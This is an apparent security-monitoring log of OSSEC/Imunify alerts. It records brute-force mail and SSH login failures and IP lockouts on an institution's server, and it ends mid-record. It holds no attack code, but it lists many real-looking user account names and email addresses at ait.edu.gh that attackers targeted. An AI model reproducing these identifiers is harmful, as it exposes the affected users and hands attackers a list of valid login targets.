2025-02-07 17:31:11 dovecot_plain authenticator failed for ([58.240.2.38]) [58.240.2.38]:47413: 535 Incorrect authentication data (set_id=eng27b00340y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.46.199.19
country_id: 895949
description:
2025-02-07 17:31:24 dovecot_plain authenticator failed for (ppp19-lumwana.zamnet.zm) [196.46.199.19]:55839: 535 Incorrect authentication data (set_id=eng27b00340y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
country_id: 1835841
description:
Feb  7 17:30:29 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.90.99.29
country_id: 6252001
description:
Feb  7 17:30:34 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.90.99.29 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.221.104.33
country_id: 1814991
description:
2025-02-07 17:30:34 dovecot_plain authenticator failed for ([124.221.104.33]) [124.221.104.33]:60222: 535 Incorrect authentication data (set_id=ads1700155y)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 146.190.50.206
country_id: 6252001
description:
Feb  7 17:31:44 ait sshd[1925666]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=146.190.50.206


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 206.174.103.74
country_id: 6252001
description:
Feb  7 17:31:53 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 206.174.103.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 219.153.13.161
country_id: 1814991
description:
Feb  7 17:32:09 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 219.153.13.161 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.228.220
country_id: 1814991
description:
2025-02-07 17:32:14 dovecot_login authenticator failed for ([60.174.228.220]) [60.174.228.220]:34722: 535 Incorrect authentication data (set_id=info@ait-edu.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.45.114.161
country_id: 2077456
description:
Feb  7 17:31:35 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.45.114.161 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.45.114.161
country_id: 2077456
description:
2025-02-07 17:31:37 dovecot_plain authenticator failed for 121-45-114-161.tpgi.com.au [121.45.114.161]:39505: 535 Incorrect authentication data (set_id=sarpong-nsiah)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.50.206
country_id: 6252001
description:
Feb  7 17:31:44 ait sshd[1925666]: pam_imunify(sshd:auth): [IM360_RBL] The IP 146.190.50.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.174.103.74
country_id: 6252001
description:
2025-02-07 17:31:55 dovecot_login authenticator failed for 74-103-174-206.gci.net [206.174.103.74]:62374: 535 Incorrect authentication data (set_id=info@aitsmartschool.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.153.13.161
country_id: 1814991
description:
2025-02-07 17:32:11 dovecot_login authenticator failed for ([219.153.13.161]) [219.153.13.161]:44757: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.174.228.220
country_id: 1814991
description:
Feb  7 17:32:12 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.174.228.220 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.226.132.113
country_id: 2750405
description:
Feb  7 17:32:56 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.226.132.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.165.183.70
country_id: 1814991
description:
Feb  7 17:33:10 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.165.183.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.165.183.70
country_id: 1814991
description:
2025-02-07 17:33:12 dovecot_plain authenticator failed for ([39.165.183.70]) [39.165.183.70]:38546: 535 Incorrect authentication data (set_id=abs1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.70.117.179
country_id: 1269750
description:
Feb  7 17:33:13 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.70.117.179 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.3
country_id: 1269750
description:
2025-02-07 17:32:56 dovecot_plain authenticator failed for (nsg-corporate-3.234.187.122.airtel.in) [122.187.234.3]:58206: 535 Incorrect authentication data (set_id=abs1@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.192.168
country_id: 1835841
description:
2025-02-07 17:33:25 dovecot_plain authenticator failed for ([220.80.192.168]) [220.80.192.168]:59096: 535 Incorrect authentication data (set_id=eng20a00098y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
country_id: 1835841
description:
Feb  7 17:33:15 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.41.223
country_id: 1269750
description:
2025-02-07 17:32:42 dovecot_login authenticator failed for (abts-mh-dynamic-223.41.169.122.airtelbroadband.in) [122.169.41.223]:41097: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.80.192.168
country_id: 1835841
description:
Feb  7 17:33:23 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.80.192.168 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.114.94.242
country_id: 1814991
description:
Feb  7 17:32:33 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.114.94.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.234.3
country_id: 1269750
description:
Feb  7 17:32:54 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.234.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.156.208.66
country_id: 1269750
description:
2025-02-07 17:33:12 dovecot_plain authenticator failed for ([115.244.25.186]) [103.156.208.66]:59874: 535 Incorrect authentication data (set_id=ads30b00480y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.70.117.179
country_id: 1269750
description:
2025-02-07 17:33:15 dovecot_plain authenticator failed for (abts-mum-static-179.117.70.182.airtelbroadband.in) [182.70.117.179]:42853: 535 Incorrect authentication data (set_id=ads20b00288y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.36.24.33
country_id: 3508796
description:
2025-02-07 17:32:46 dovecot_login authenticator failed for ([138.36.24.33]) [138.36.24.33]:35916: 535 Incorrect authentication data (set_id=dm)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.226.132.113
country_id: 2750405
description:
2025-02-07 17:32:58 dovecot_plain authenticator failed for ([188.226.132.113]) [188.226.132.113]:60480: 535 Incorrect authentication data (set_id=ads20b00288y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.156.208.66
country_id: 1269750
description:
Feb  7 17:33:10 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.156.208.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2025-02-07 17:32:35 dovecot_login authenticator failed for ([116.114.94.242]) [116.114.94.242]:37348: 535 Incorrect authentication data (set_id=dm@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.36.24.33
country_id: 3508796
description:
Feb  7 17:32:44 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.36.24.33 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.169.41.223
country_id: 1269750
description:
Feb  7 17:32:40 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.169.41.223 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.79.174.147
country_id: 2077456
description:
2025-02-07 17:34:19 dovecot_plain authenticator failed for (unknown.bwdc.fsg.ordnance.co) [103.79.174.147]:46087: 535 Incorrect authentication data (set_id=sates1@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.102.51.218
country_id: 2750405
description:
2025-02-07 17:34:04 dovecot_login authenticator failed for ([94.102.51.218]) [94.102.51.218]:37004: 535 Incorrect authentication data (set_id=dm)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.148.10.196
country_id: 2750405
description:
Feb  7 17:34:13 ait sshd[1926670]: pam_imunify(sshd:auth): [IM360_RBL] The IP 45.148.10.196 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 45.148.10.196
country_id: 2750405
description:
Feb  7 17:34:13 ait sshd[1926670]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=45.148.10.196  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.19.149
country_id: 1668284
description:
Feb  7 17:34:17 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.19.149 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.29.104.32
country_id: 6252001
description:
2025-02-07 17:33:40 dovecot_plain authenticator failed for 32.104.29.34.bc.googleusercontent.com [34.29.104.32]:53892: 535 Incorrect authentication data (set_id=ads30b00480y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.241.135.25
country_id: 6252001
description:
2025-02-07 17:33:55 dovecot_login authenticator failed for syn-067-241-135-025.res.spectrum.com [67.241.135.25]:56758: 535 Incorrect authentication data (set_id=dm@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.102.51.218
country_id: 2750405
description:
Feb  7 17:34:02 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.102.51.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.19.149
country_id: 1668284
description:
2025-02-07 17:34:19 dovecot_plain authenticator failed for 111-70-19-149.emome-ip.hinet.net [111.70.19.149]:57366: 535 Incorrect authentication data (set_id=eng09b99891@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 34.29.104.32
country_id: 6252001
description:
Feb  7 17:33:38 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 34.29.104.32 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.76.248.54
country_id: 1814991
description:
2025-02-07 17:33:41 dovecot_plain authenticator failed for ([222.76.248.54]) [222.76.248.54]:48472: 535 Incorrect authentication data (set_id=eng20a00098y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 67.241.135.25
country_id: 6252001
description:
Feb  7 17:33:53 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 67.241.135.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.79.174.147
country_id: 2077456
description:
Feb  7 17:34:17 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.79.174.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.76.248.54
country_id: 1814991
description:
Feb  7 17:33:39 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.76.248.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.193.152.64
country_id: 1668284
description:
2025-02-07 17:34:42 dovecot_plain authenticator failed for 123-193-152-64.dynamic.kbronet.com.tw [123.193.152.64]:53332: 535 Incorrect authentication data (set_id=ads80a99909y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.68.38.78
country_id: 1269750
description:
2025-02-07 17:34:59 dovecot_plain authenticator failed for ([103.68.38.78]) [103.68.38.78]:34180: 535 Incorrect authentication data (set_id=ads80a99909y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.174.252.131
country_id: 1814991
description:
2025-02-07 17:35:12 dovecot_plain authenticator failed for ([39.174.252.131]) [39.174.252.131]:44896: 535 Incorrect authentication data (set_id=ads23a00018y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.245.37.17
country_id: 1880251
description:
Feb  7 17:34:56 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.245.37.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.174.252.131
country_id: 1814991
description:
Feb  7 17:35:10 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.174.252.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.175.76.146
country_id: 6252001
description:
Feb  7 17:35:11 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.175.76.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.185.229.191
country_id: 3865483
description:
2025-02-07 17:35:22 dovecot_plain authenticator failed for (191.229.185.190.cable.dyn.ridsa.com.ar) [190.185.229.191]:51688: 535 Incorrect authentication data (set_id=abs3@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.32.166
country_id: 1668284
description:
Feb  7 17:34:43 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.32.166 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.166
country_id: 1668284
description:
2025-02-07 17:34:45 dovecot_plain authenticator failed for 111-70-32-166.emome-ip.hinet.net [111.70.32.166]:48232: 535 Incorrect authentication data (set_id=sates1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.193.152.64
country_id: 1668284
description:
Feb  7 17:34:40 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.193.152.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.252.8.34
country_id: 1643084
description:
Feb  7 17:34:44 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.252.8.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 43.252.8.34
country_id: 1643084
description:
2025-02-07 17:34:46 dovecot_plain authenticator failed for ([43.252.8.34]) [43.252.8.34]:37228: 535 Incorrect authentication data (set_id=eng09b99891)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.68.38.78
country_id: 1269750
description:
Feb  7 17:34:57 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.68.38.78 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.245.37.17
country_id: 1880251
description:
2025-02-07 17:34:58 dovecot_plain authenticator failed for ([49.245.37.17]) [49.245.37.17]:40711: 535 Incorrect authentication data (set_id=ads23a00018y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.185.229.191
country_id: 3865483
description:
Feb  7 17:35:20 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.185.229.191 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.175.76.146
country_id: 6252001
description:
2025-02-07 17:35:13 dovecot_plain authenticator failed for (107-175-76-146-host.colocrossing.com) [107.175.76.146]:55354: 535 Incorrect authentication data (set_id=tsikpo@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.4.84.125
country_id: 6252001
description:
2025-02-07 17:35:48 dovecot_login authenticator failed for d4-50-125-84.nap.wideopenwest.com [50.4.84.125]:51888: 535 Incorrect authentication data (set_id=dm)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.137.78.40
country_id: 3017382
description:
Feb  7 17:35:49 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.137.78.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.182.32.16
country_id: 1814991
description:
Feb  7 17:36:04 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.182.32.16 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.87.49.250
country_id: 1814991
description:
2025-02-07 17:36:06 dovecot_plain authenticator failed for ([222.87.49.250]) [222.87.49.250]:51333: 535 Incorrect authentication data (set_id=eng17b00236y)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 36.93.247.226
country_id: 1643084
description:
Feb  7 17:36:10 ait sshd[1927652]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=36.93.247.226  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.156.195.38
country_id: 1814991
description:
Feb  7 17:35:36 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.156.195.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.99.61.248
country_id: 1269750
description:
Feb  7 17:36:03 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.99.61.248 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.217.137.126
country_id: 3469034
description:
2025-02-07 17:36:10 dovecot_plain authenticator failed for ([191.217.137.126]) [191.217.137.126]:46571: 535 Incorrect authentication data (set_id=ads21b00206y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.28.128.154
country_id: 1814991
description:
2025-02-07 17:35:29 dovecot_plain authenticator failed for ([111.28.128.154]) [111.28.128.154]:55622: 535 Incorrect authentication data (set_id=tsikpo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.156.195.38
country_id: 1814991
description:
2025-02-07 17:35:38 dovecot_login authenticator failed for ([117.156.195.38]) [117.156.195.38]:36848: 535 Incorrect authentication data (set_id=dm@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.4.84.125
country_id: 6252001
description:
Feb  7 17:35:46 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.4.84.125 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.99.61.248
country_id: 1269750
description:
2025-02-07 17:36:05 dovecot_plain authenticator failed for ([14.99.61.248]) [14.99.61.248]:37234: 535 Incorrect authentication data (set_id=ads20a00243y)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.93.247.226
country_id: 1643084
description:
Feb  7 17:36:10 ait sshd[1927652]: pam_imunify(sshd:auth): [IM360_RBL] The IP 36.93.247.226 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.254.126.238
country_id: 2661886
description:
2025-02-07 17:35:43 dovecot_plain authenticator failed for c83-254-126-238.bredband.tele2.se [83.254.126.238]:43038: 535 Incorrect authentication data (set_id=ads21b00277y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.137.78.40
country_id: 3017382
description:
2025-02-07 17:35:51 dovecot_plain authenticator failed for 40.ip-79-137-78.eu [79.137.78.40]:59038: 535 Incorrect authentication data (set_id=ads20a00243y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.129.6.100
country_id: 1880251
description:
Feb  7 17:35:54 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.129.6.100 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.182.32.16
country_id: 1814991
description:
2025-02-07 17:36:06 dovecot_plain authenticator failed for ([118.182.32.16]) [118.182.32.16]:56182: 535 Incorrect authentication data (set_id=abs3)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.217.137.126
country_id: 3469034
description:
Feb  7 17:36:08 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.217.137.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.42.173.64
country_id: 1880251
description:
Feb  7 17:35:50 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.42.173.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.129.6.100
country_id: 1880251
description:
2025-02-07 17:35:56 dovecot_plain authenticator failed for (100.6.129.180.unknown.m1.com.sg) [180.129.6.100]:55271: 535 Incorrect authentication data (set_id=ads21b00277y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.28.128.154
country_id: 1814991
description:
Feb  7 17:35:27 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.28.128.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.254.126.238
country_id: 2661886
description:
Feb  7 17:35:41 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.254.126.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.42.173.64
country_id: 1880251
description:
2025-02-07 17:35:52 dovecot_plain authenticator failed for ([115.42.173.64]) [115.42.173.64]:47377: 535 Incorrect authentication data (set_id=eng17b00236y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.87.49.250
country_id: 1814991
description:
Feb  7 17:36:04 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.87.49.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.227.102.242
country_id: 290557
description:
2025-02-07 17:36:59 dovecot_login authenticator failed for ([80.227.102.242]) [80.227.102.242]:45155: 535 Incorrect authentication data (set_id=oudoc@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.181.1.49
country_id: 6252001
description:
2025-02-07 17:37:12 dovecot_plain authenticator failed for static-47-181-1-49.lsan.ca.frontiernet.net [47.181.1.49]:36936: 535 Incorrect authentication data (set_id=ads06a99959y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.7.111.87
country_id: 1814991
description:
2025-02-07 17:37:24 dovecot_login authenticator failed for ([36.7.111.87]) [36.7.111.87]:35384: 535 Incorrect authentication data (set_id=dm)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 95.70.166.51
country_id: 298795
description:
Feb  7 17:36:39 ait sshd[1927893]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=95.70.166.51  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.128.162.146
country_id: 1814991
description:
Feb  7 17:36:53 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.128.162.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.147.248.44
country_id: 1269750
description:
2025-02-07 17:36:53 dovecot_plain authenticator failed for ([103.147.248.44]) [103.147.248.44]:40480: 535 Incorrect authentication data (set_id=ads06a99959y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.128.162.146
country_id: 1814991
description:
2025-02-07 17:36:55 dovecot_plain authenticator failed for ([27.128.162.146]) [27.128.162.146]:44944: 535 Incorrect authentication data (set_id=rfiawoo13@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.227.102.242
country_id: 290557
description:
Feb  7 17:36:57 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.227.102.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.107.210.176
country_id: 1835841
description:
Feb  7 17:37:08 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.107.210.176 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.106.49.149
country_id: 3932488
description:
Feb  7 17:37:12 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.106.49.149 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.132.89.72
country_id: 1814991
description:
Feb  7 17:37:14 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.132.89.72 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.164.147.150
country_id: 3865483
description:
2025-02-07 17:36:29 dovecot_plain authenticator failed for ([181.164.147.150]) [181.164.147.150]:31685: 535 Incorrect authentication data (set_id=ads21b00206y)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.70.166.51
country_id: 298795
description:
Feb  7 17:36:39 ait sshd[1927893]: pam_imunify(sshd:auth): [IM360_RBL] The IP 95.70.166.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.7.111.87
country_id: 1814991
description:
Feb  7 17:37:22 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.7.111.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2025-02-07 17:37:14 dovecot_login authenticator failed for ([200.106.49.149]) [200.106.49.149]:49256: 535 Incorrect authentication data (set_id=oudoc)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.132.89.72
country_id: 1814991
description:
2025-02-07 17:37:16 dovecot_plain authenticator failed for ([112.132.89.72]) [112.132.89.72]:56012: 535 Incorrect authentication data (set_id=rfiawoo13)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.84.241.94
country_id: 1814991
description:
2025-02-07 17:37:08 dovecot_login authenticator failed for ([119.84.241.94]) [119.84.241.94]:55552: 535 Incorrect authentication data (set_id=dm)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.181.1.49
country_id: 6252001
description:
Feb  7 17:37:10 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.181.1.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.107.210.176
country_id: 1835841
description:
2025-02-07 17:37:10 dovecot_login authenticator failed for ([183.107.210.176]) [183.107.210.176]:45864: 535 Incorrect authentication data (set_id=dm@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.164.147.150
country_id: 3865483
description:
Feb  7 17:36:27 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.164.147.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.165.236.12
country_id: 1814991
description:
2025-02-07 17:36:44 dovecot_login authenticator failed for ([39.165.236.12]) [39.165.236.12]:53294: 535 Incorrect authentication data (set_id=dm@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.147.248.44
country_id: 1269750
description:
Feb  7 17:36:51 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.147.248.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.84.241.94
country_id: 1814991
description:
Feb  7 17:37:06 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.84.241.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
